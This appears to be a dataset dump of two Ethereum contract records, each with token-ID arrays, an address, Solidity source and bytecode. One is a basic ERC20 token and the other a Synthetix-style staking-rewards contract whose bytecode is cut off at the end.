[ 101, 1014, 2595, 2683, 21084, 2278, 2549, 29292, 16703, 2475, 12879, 2620, 2050, 2692, 4783, 2546, 2683, 23352, 2050, 2475, 2497, 2620, 24594, 2278, 21486, 2692, 2063, 16576, 2497, 14141, 23499, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 14414, 13102, 8586, 4818, 5764, 2575, 5764, 2575, 5764, 2575, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,153
0x964cda600e3319049fc492ff3e191a6df0f7cfd7
//SPDX-License-Identifier: Unlicense // ---------------------------------------------------------------------------- // 'FriedChickenLegs' token contract // // Symbol : FCL 🍗 // Name : Fried Chicken Legs // Total supply: 100000000000000 // Decimals : 18 // Burned : 50% // ---------------------------------------------------------------------------- pragma solidity ^0.5.0; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract FriedChickenLegs is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Fried Chicken Legs"; symbol = "FCL 🍗"; decimals = 18; _totalSupply = 1000000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461029f578063d05c78da146102c2578063dd62ed3e146102e5578063e6cb901314610313576100ea565b806395d89b4114610248578063a293d1e814610250578063a9059cbb14610273576100ea565b806323b872dd116100c857806323b872dd146101c6578063313ce567146101fc5780633eaaf86b1461021a57806370a0823114610222576100ea565b806306fdde03146100ef578063095ea7b31461016c57806318160ddd146101ac575b600080fd5b6100f7610336565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b0381351690602001356103c4565b604080519115158252519081900360200190f35b6101b461042b565b60408051918252519081900360200190f35b610198600480360360608110156101dc57600080fd5b506001600160a01b0381358116916020810135909116906040013561045d565b610204610556565b6040805160ff9092168252519081900360200190f35b6101b461055f565b6101b46004803603602081101561023857600080fd5b50356001600160a01b0316610565565b6100f7610580565b6101b46004803603604081101561026657600080fd5b50803590602001356105da565b6101986004803603604081101561028957600080fd5b506001600160a01b0381351690602001356105ef565b6101b4600480360360408110156102b557600080fd5b5080359060200135610693565b6101b4600480360360408110156102d857600080fd5b50803590602001356106b2565b6101b4600480360360408110156102fb57600080fd5b506001600160a01b03813581169160200135166106d3565b6101b46004803603604081101561032957600080fd5b50803590602001356106fe565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec546003540390565b6001600160a01b03831660009081526004602052604081205461048090836105da565b6001600160a01b03851660009081526004602090815260408083209390935560058152828220338352905220546104b790836105da565b6001600160a01b0380861660009081526005602090815260408083203384528252808320949094559186168152600490915220546104f590836106fe565b6001600160a01b0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60025460ff1681565b60035481565b6001600160a01b031660009081526004602052604090205490565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103bc5780601f10610391576101008083540402835291602001916103bc565b6000828211156105e957600080fd5b50900390565b3360009081526004602052604081205461060990836105da565b33600090815260046020526040808220929092556001600160a01b0385168152205461063590836106fe565b6001600160a01b0384166000818152600460209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008082116106a157600080fd5b8183816106aa57fe5b049392505050565b8181028215806106ca5750818382816106c757fe5b04145b61042557600080fd5b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b8181018281101561042557600080fdfea265627a7a7231582097ec3c1debe8dea939bc8615658ecb8fa5875a15574364e91e083f107637468b64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 19797, 2050, 16086, 2692, 2063, 22394, 16147, 2692, 26224, 11329, 26224, 2475, 4246, 2509, 2063, 16147, 2487, 2050, 2575, 20952, 2692, 2546, 2581, 2278, 2546, 2094, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,154
0x964cee9eae0ec6d0228bc88efaaaeeab4caadcd9
// Sources flattened with hardhat v2.0.7 https://hardhat.org // File openzeppelin-solidity-2.3.0/contracts/math/Math.sol@v2.3.0 pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol@v2.3.0 pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File openzeppelin-solidity-2.3.0/contracts/token/ERC20/IERC20.sol@v2.3.0 pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File openzeppelin-solidity-2.3.0/contracts/token/ERC20/ERC20Detailed.sol@v2.3.0 pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * > Note that this information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } } // File openzeppelin-solidity-2.3.0/contracts/utils/Address.sol@v2.3.0 pragma solidity ^0.5.0; /** * @dev Collection of functions related to the address type, */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File openzeppelin-solidity-2.3.0/contracts/token/ERC20/SafeERC20.sol@v2.3.0 pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol@v2.3.0 pragma solidity ^0.5.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier * available, which can be aplied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } // File contracts/SyntStaking/IStakingRewards.sol pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/istakingrewards interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } // File contracts/SyntStaking/Owned.sol pragma solidity ^0.5.16; // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/SyntStaking/RewardsDistributionRecipient.sol pragma solidity ^0.5.16; // Inheritance // https://docs.synthetix.io/contracts/RewardsDistributionRecipient contract RewardsDistributionRecipient is Owned { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } function setRewardsDistribution(address _rewardsDistribution) external onlyOwner { rewardsDistribution = _rewardsDistribution; } } // File contracts/SyntStaking/Pausable.sol pragma solidity ^0.5.16; // Inheritance // https://docs.synthetix.io/contracts/source/contracts/pausable contract Pausable is Owned { uint public lastPauseTime; bool public paused; constructor() internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = now; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } event PauseChanged(bool isPaused); modifier notPaused { require(!paused, "This action cannot be performed while the contract is paused"); _; } } // File contracts/SyntStaking/StakingRewards.sol pragma solidity ^0.5.16; // Inheritance // https://docs.synthetix.io/contracts/source/contracts/stakingrewards contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 6 * 4 weeks; // 6 month uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsDistribution, address _rewardsToken, address _stakingToken ) public Owned(_owner) { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // End rewards emission earlier function updatePeriodFinish(uint timestamp) external onlyOwner updateReward(address(0)) { periodFinish = timestamp; } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); IERC20(tokenAddress).safeTransfer(owner, tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event Recovered(address token, uint256 amount); }
0x608060405234801561001057600080fd5b50600436106101ef5760003560e01c806372f702f31161010f578063a694fc3a116100a2578063d1af0c7d11610071578063d1af0c7d14610470578063df136d6514610478578063e9fad8ee14610480578063ebe2b12b14610488576101ef565b8063a694fc3a14610426578063c8f33c9114610443578063cc1a378f1461044b578063cd3daf9d14610468576101ef565b80638980f11f116100de5780638980f11f146103c45780638b876347146103f05780638da5cb5b1461041657806391b4ded91461041e576101ef565b806372f702f3146103a457806379ba5097146103ac5780637b0a47ee146103b457806380faa57d146103bc576101ef565b8063386a95251161018757806353a47bb71161015657806353a47bb71461033d578063556f6e6b146103455780635c975abb1461036257806370a082311461037e576101ef565b8063386a9525146102ec5780633c6b16ab146102f45780633d18b912146103115780633fc6df6e14610319576101ef565b806318160ddd116101c357806318160ddd1461029957806319762143146102a15780631c1f78eb146102c75780632e1a7d4d146102cf576101ef565b80628cc262146101f45780630700037d1461022c5780631627540c1461025257806316c38b3c1461027a575b600080fd5b61021a6004803603602081101561020a57600080fd5b50356001600160a01b0316610490565b60408051918252519081900360200190f35b61021a6004803603602081101561024257600080fd5b50356001600160a01b0316610526565b6102786004803603602081101561026857600080fd5b50356001600160a01b0316610538565b005b6102786004803603602081101561029057600080fd5b50351515610594565b61021a61060e565b610278600480360360208110156102b757600080fd5b50356001600160a01b0316610615565b61021a61063f565b610278600480360360208110156102e557600080fd5b503561065d565b61021a6107ff565b6102786004803603602081101561030a57600080fd5b5035610805565b610278610a5b565b610321610b99565b604080516001600160a01b039092168252519081900360200190f35b610321610ba8565b6102786004803603602081101561035b57600080fd5b5035610bb7565b61036a610c21565b604080519115158252519081900360200190f35b61021a6004803603602081101561039457600080fd5b50356001600160a01b0316610c2a565b610321610c45565b610278610c54565b61021a610d10565b61021a610d16565b610278600480360360408110156103da57600080fd5b506001600160a01b038135169060200135610d24565b61021a6004803603602081101561040657600080fd5b50356001600160a01b0316610de1565b610321610df3565b61021a610e02565b6102786004803603602081101561043c57600080fd5b5035610e08565b61021a610fe6565b6102786004803603602081101561046157600080fd5b5035610fec565b61021a61106f565b6103216110c9565b61021a6110dd565b6102786110e3565b61021a611106565b6001600160a01b0381166000908152600d6020908152604080832054600c909252822054610520919061051490670de0b6b3a764000090610508906104e3906104d761106f565b9063ffffffff61110c16565b6001600160a01b0388166000908152600f60205260409020549063ffffffff61116916565b9063ffffffff6111c916565b9063ffffffff61123316565b92915050565b600d6020526000908152604090205481565b61054061128d565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b61059c61128d565b60055460ff16151581151514156105b25761060b565b6005805460ff1916821515179081905560ff16156105cf57426004555b6005546040805160ff90921615158252517f8fb6c181ee25a520cf3dd6565006ef91229fcfe5a989566c2a3b8c115570cec59181900360200190a15b50565b600e545b90565b61061d61128d565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b600061065860095460085461116990919063ffffffff16565b905090565b60038054600101908190553361067161106f565b600b5561067c610d16565b600a556001600160a01b038116156106c35761069781610490565b6001600160a01b0382166000908152600d6020908152604080832093909355600b54600c909152919020555b6000831161070c576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600e5461071f908463ffffffff61110c16565b600e55336000908152600f6020526040902054610742908463ffffffff61110c16565b336000818152600f602052604090209190915560065461076e916001600160a01b0390911690856112d6565b60408051848152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25060035481146107fb576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b5050565b60095481565b6002546001600160a01b0316331461084e5760405162461bcd